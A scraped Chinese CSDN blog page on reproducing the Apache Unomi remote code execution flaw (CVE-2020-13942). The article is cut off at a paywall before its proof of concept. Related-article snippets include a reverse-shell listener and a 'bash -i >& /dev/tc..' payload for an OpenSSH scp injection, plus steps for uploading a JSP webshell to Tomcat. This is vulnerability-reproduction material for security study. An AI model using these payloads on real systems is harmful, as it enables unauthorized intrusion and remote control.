Apache Unomi 远程代码执行漏洞(CVE-2020-13942)复现

最新推荐文章于 2025-04-22 00:15:00 发布
最新推荐文章于 2025-04-22 00:15:00 发布
阅读量344 收藏
点赞数
文章标签： 漏洞复现 安全 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_45742511/article/details/115158063
版权
Apache Unomi 是一个Java开源客户数据平台，存在远程代码执行漏洞(CVE-2020-13942)，影响版本为1.5.2以下。该漏洞允许攻击者通过发送恶意请求利用MVEL和OGNL表达式，实现具有Unomi应用权限的RCE。本文档详细介绍了漏洞复现步骤，包括如何抓包、修改数据包、添加POC以及如何监听并反弹shell。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

简介

Apache Unomi是一个Java开源客户数据平台，这是一个Java服务器，旨在管理客户，潜在顾客和访问者的数据，并帮助个性化客户体验。Unomi可用于在非常不同的系统（例如CMS，CRM，问题跟踪器，本机移动应用程序等）中集成个性化和配置文件管理。

漏洞描述

Apache Unomi允许远程攻击者使用可能包含任意类的MVEL和OGNL表达式发送恶意请求，从而产生具有Unomi应用程序特权的远程代码执行（RCE）。

影响版本

Apache Unomi < 1.5.2

漏洞复现

在首页进行抓包：
在这里插入图片描述
对数据包进行修改：

保留以下字段：
在这里插入图片描述
方式改为POST，并添加：

Content-Type:application/json
Content
最低0.47元/天 解锁文章
漏洞复现
qq_44813849的博客
07-19 5914
CMS漏洞复现 CMS是"Content Management System"的缩写，意为"内容管理系统"。 网站的开发者为了方便，制作了不同种类的CMS，可以加快网站开发的速度和减少开发的成本。 常见cms 环境搭建 CMS官网CMS 网站源码下载源码 下载好后放到本地WWW目录下，然后开启PHPstudy，在浏览器访问 点击我已阅读并继续。然后是环境检测，保存默认即可 接下来是参数配置，需要设...
永恒之蓝 MS17-010 漏洞复现
Nobug_的博客
06-16 1018
永恒之蓝 MS17-010 漏洞复现 文章目录永恒之蓝 MS17-010 漏洞复现前言一、pandas是什么？二、使用步骤1.引入库2.读入数据总结 前言 提示：这里可以添加本文要记录的大概内容： 例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的基础内容。 提示：以下是本篇文章正文内容，下面案例可供参考 一、pandas是什么？ 示例：pandas 是基于NumPy 的一种工具，该工具是为了解决数据分析任务而创建的。 二、使用步骤 1.
【漏洞复现】CVE-2024-38856（ApacheOfbiz RCE）
最新发布
blackpeach的博客
04-22 771
ApacheOfbiz RCE 漏洞复现，Groovy 表达式注入
Unomi 成为 Apache 软件基金会顶级项目
cpongo5
04-07 338
开发四年只会写业务代码，分布式高并发都不会还做程序员？ >>> 3 月 21 日，Apache 软件...
漏洞复现（CVE-2017-10271）
PDblue的博客
03-27 9909
使用https://github.com/vulhub/vulhub在本地进行漏洞环境搭建，需要使用的工具是https://github.com/hanc00l/weblogic_wls_wsat_rce 环境搭建完成后通过浏览器进行访问 使用工具对漏洞进行验证 向服务器上传后门文件 通过浏览器访问后门文件 仅限于本地漏洞环境验证。...
CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现
m0_56642842的博客
08-31 339
0x00 简介 Apache Unomi 是一个基于标准的客户数据平台（CDP，Customer Data Platform），用于管理在线客户和访客等信息，以提供符合访客隐私规则的个性化体验，比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发，2015 年 10 月提交给了 Apache 孵化器。Apache Unomi 具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B 测试等功能，它可以作为：Web CMS 个性化服务、原生移动应用的分析服务、具有分段功能的集中配
Apache Unomi 远程代码执行漏洞复现(CVE-2020-13942)
doctor__的博客
07-20 551
目录漏洞信息环境搭建漏洞复现通过Python脚本执行getshell操作修复建议 漏洞信息 项目 Value 漏洞名称 Apache Unomi远程代码执行漏洞 漏洞编号 CVE-2020-13942 危害等级 高危 CVSS评分 7.2 漏洞厂商 Apache 受影响版本 Apache Unomi<1.5.2 漏洞概述 Apache Unomi 是一个基于标准的客户数据平台（CDP，Customer Data Platform），用于管理在线客户和访客等信息，
Apache Unomi 远程代码执行漏洞（CVE-2020-13942）复现
玄道的网安博客
01-21 726
漏洞描述 Apache Unomi是一个Java开源客户数据平台，这是一个Java服务器，旨在管理客户，潜在顾客和访问者的数据，并帮助个性化客户体验。Unomi可用于在非常不同的系统（例如CMS，CRM，问题跟踪器，本机移动应用程序等）中集成个性化和配置文件管理。 Apache Unomi允许远程攻击者使用可能包含任意类的MVEL和OGNL表达式发送恶意请求，从而产生具有Unomi应用程序特权的远程代码执行（RCE）。目前互联网上已经公布漏洞利用相关POC，建议相关用户及时进行资产自查。 影响..
红队专题-漏洞挖掘-代码审计-CSRF/SSRF/Xss
aming小老弟
03-11 1144
其中 Web A 为存在 CSRF 漏洞的网站，Web B 为攻击者构建的恶意网站，User C 为 Web A 网站的合法用户。用户 C 打开浏览器，访问受信任网站 A，输入用户名和密码请求登录网站A在用户信息通过验证后，网站 A 产生 Cookie 信息并返回给浏览器，此时用户登录网站 A 成功，可以正常发送请求到网站A用户未退出网站 A 之前，在同一浏览器中，打开一个 TAB 页访问网站 B网站 B 接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点 A。
漏洞复现篇
热门推荐
总有人间一两风，填我十万八千梦
03-03 2万+
weblogic WebLogic T3 协议反序列化远程命令执行(CVE-2020-2883) Weblogic Server远程代码执行漏洞（CVE-2021-2109 ） apache Struts2 S2-061 远程命令执行漏洞（CVE-2020-17530） Apache Druid RCE(CVE-2021-25646) Apache Tomcat 文件包含漏洞（CVE-2020-1938） Apache Flink(CVE-2020-17518/17519)任意文件上传和路径遍
CSRF漏洞之——漏洞复现
wsnbbz的博客
03-04 3521
介绍 CSRF（Cross Site Request Forgery, 跨站请求伪造）是一种网络的攻击方式，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF CSRF漏洞是因为web应用程序在用户进行敏感操作时，如修改账号密码、添加账号、转账等，没有校验表单token或者http请求头中的referer值，从而导致恶意攻击者利用普通用户的...
漏洞复现 - CVE-2020-16898 微软TCP/IP远程执行代码漏洞
好
10-17 2161
前几天微软更新补丁中有个CVE-2020-16898，下面是摘抄的一段描述， Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时，存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞，攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。 漏洞原理不是很懂，主要是记录下复现过程 一、环境 ①网络环境开启ipv6支持。这里使用v
Tomcat 漏洞复现
2301_80402555的博客
09-22 504
1、tomcat默认的conf/server.xml中配置了2个Connector，一个为 8080 的对外提供的HTTP协议端口另外一个就是默认的 8009 AJP协议端口，两个端口默认均监听在外网ip。4、文件上传成功后，默认会在网站根目录下生成和war包名称⼀致得目录，然后目录中得木马就是压缩前的文件名，Webshell客户端⼯具进⾏连接。3、制作WAR包，将JSP木马压缩为ZIP格式，然后修改后缀为war。2、首页抓包，修改为 PUT 方式提交。3、访问上传的jsp文件。4、使用工具进行连接。
ssrf漏洞之——漏洞复现
wsnbbz的博客
03-04 3142
漏洞介绍 SSRF漏洞：SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造url，由服务端对此url发起请求的一个安全漏洞。 漏洞原理 SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能，并且没有对目标地址做过滤与限制，比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。 一般情况下，SSRF访问的目标...
宝塔漏洞复现
黑白的博客
09-06 1万+
声明 好好学习，天天向上 漏洞描述 宝塔面板是一款服务器管理软件，支持windows和linux系统，可以通过Web端轻松管理服务器，提升运维效率。例如：创建管理网站、FTP、数据库，拥有可视化文件管理器，可视化软件管理器，可视化CPU、内存、流量监控图表，计划任务等功能 该漏洞是phpmyadmin未鉴权，可通过特定地址直接登录数据库的漏洞 影响范围 宝塔Linux面板7.4.2版本 宝塔Linux测试版7.5.13 Windows面板6.8版本 复现过程 漏洞镜像可以用docker获取 先配置加速器（公
weblogic漏洞复现
weixin_74182283的博客
03-31 1021
安装weblogic靶场环境已经提供，直接进行实操（weblogic是啥自行搜索）
OpenSSH命令注入漏洞（CVE-2020-15778）复现
玄道的网安博客
09-17 1807
简介 OpenSSH是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现，支持对所有的传输进行加密，可有效防止窃听、连接劫持以及其他攻击。 影响版本 <= openssh-8.3p1 漏洞复现 查看版本 ssh -V 开启22端口服务 先在本地新建好文件，用于上传 本地监听 nc -lvvp 4444 payload scp 1.txt root@受害机ip:'`bash -i >& /dev/tc..
VLOOKUP函数怎么使用，参数是什么意思
03-12
<think>嗯，用户想了解Excel中的VLOOKUP函数的用法和参数含义。首先，我需要回忆一下VLOOKUP的基本结构。VLOOKUP是垂直查找函数，用于在表格的首列查找指定的值，然后返回该行中指定列的数据。它的四个参数分别是查找值、表格范围、列索引号和匹配模式。 接下来，我得确认每个参数的具体作用。第一个参数是lookup_value，也就是用户要查找的值，比如产品ID或者姓名。第二个参数是table_array，即查找的范围，这里要注意的是，查找值必须位于这个范围的第一列，否则函数无法正确工作。第三个参数是col_index_num，也就是用户想要返回的数据在表格范围中的第几列，这个列数是从表格范围的第一列开始算起的，不是整个工作表的列。第四个参数是range_lookup，决定是精确匹配还是近似匹配，通常用FALSE或0来指定精确匹配，避免错误。 然后，用户可能需要一个具体的例子来理解如何使用。比如，假设有一个产品价格表，用户想根据产品ID查找对应的价格。这时候，VLOOKUP就可以在ID列查找，然后返回价格列的数据。同时，要提醒用户注意表格范围最好使用绝对引用，比如$A$2:$C$100，这样在拖动公式时范围不会变化。 可能遇到的问题也需要考虑。比如，如果查找值不在表格的第一列，或者列索引号超过了表格的列数，函数会返回错误。此外，数据格式不一致也可能导致问题，比如查找值是数字，而表格中是文本格式的数字，这时候需要统一格式。还有，当出现#N/A错误时，可能是查找值不存在，或者匹配模式设置不正确，需要检查参数是否正确。 用户可能还会问到如何避免常见的错误，比如部分数据匹配出错的情况。这时候需要检查是否有多余的空格，或者数据格式不一致，或者表格范围没有锁定导致拖动时偏移。此外，XLOOKUP作为VLOOKUP的升级版，可能在某些情况下更方便，比如可以向左查找或者返回多列数据，这也是可以提及的内容。 最后，整理步骤，从基础语法到参数说明，再到具体案例，逐步引导用户理解如何使用VLOOKUP函数。同时，提供常见错误和解决方法，帮助用户在实际应用中避免问题。如果有必要，还可以比较VLOOKUP和其他查找函数的区别，比如HLOOKUP或XLOOKUP，但根据用户的问题，主要集中在VLOOKUP本身即可。</think>### Excel VLOOKUP函数详解 #### 一、基础语法与参数说明 VLOOKUP函数的语法为： $$=VLOOKUP(lookup\_value, table\_array, col\_index\_num, [range\_lookup])$$ 包含4个参数： 1. **lookup_value**（必填）：要查找的值（如单元格引用或具体值） 2. **table_array**（必填）：包含数据的表格范围（必须包含查找列和返回列） 3. **col_index_num**（必填）：返回值所在列的序号（从table_array第一列开始计数） 4. **range_lookup**（可选）：匹配类型 - `TRUE`/`1`：近似匹配（默认值，需数据升序排列） - `FALSE`/`0`：精确匹配（常用选项） [^1][^2] #### 二、使用步骤演示（工资表查询案例） 假设需要根据员工编号查询工资： 1. 建立查询单元格（如`B12`） 2. 输入公式： ```excel =VLOOKUP(A12, $A$2:$D$100, 4, 0) ``` - `A12`：待查询的员工编号 - `$A$2:$D$100`：锁定数据区域（绝对引用） - `4`：返回第4列（工资列） - `0`：精确匹配 [^2][^3] #### 三、常见错误与解决方法 | 错误现象 | 原因 | 解决方案 | |---------|------|---------| | #N/A | 查找值不存在 | 检查数据源或改用`IFERROR`容错 | | #REF! | 列序号超出范围 | 确认col_index_num ≤ 表格列数 | | 部分匹配失败 | 数据格式不一致 | 统一数值/文本格式 | | 结果错位 | 表格未锁定 | 使用`$`符号固定区域引用 | [^3][^4] #### 四、进阶技巧 1. **多条件查询**： 使用辅助列合并多个条件字段 ```excel =VLOOKUP(A2&B2, $D$2:$F$100, 3, 0) ``` 2. **通配符匹配**： `"*"`匹配任意字符，`"?"`匹配单个字符 ```excel =VLOOKUP("张*", $A$2:$C$100, 3, 0) ``` 3. **跨表查询**： 引用其他工作表数据 ```excel =VLOOKUP(A2, Sheet2!$A$2:$D$100, 4, 0) ``` [^1][^4]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值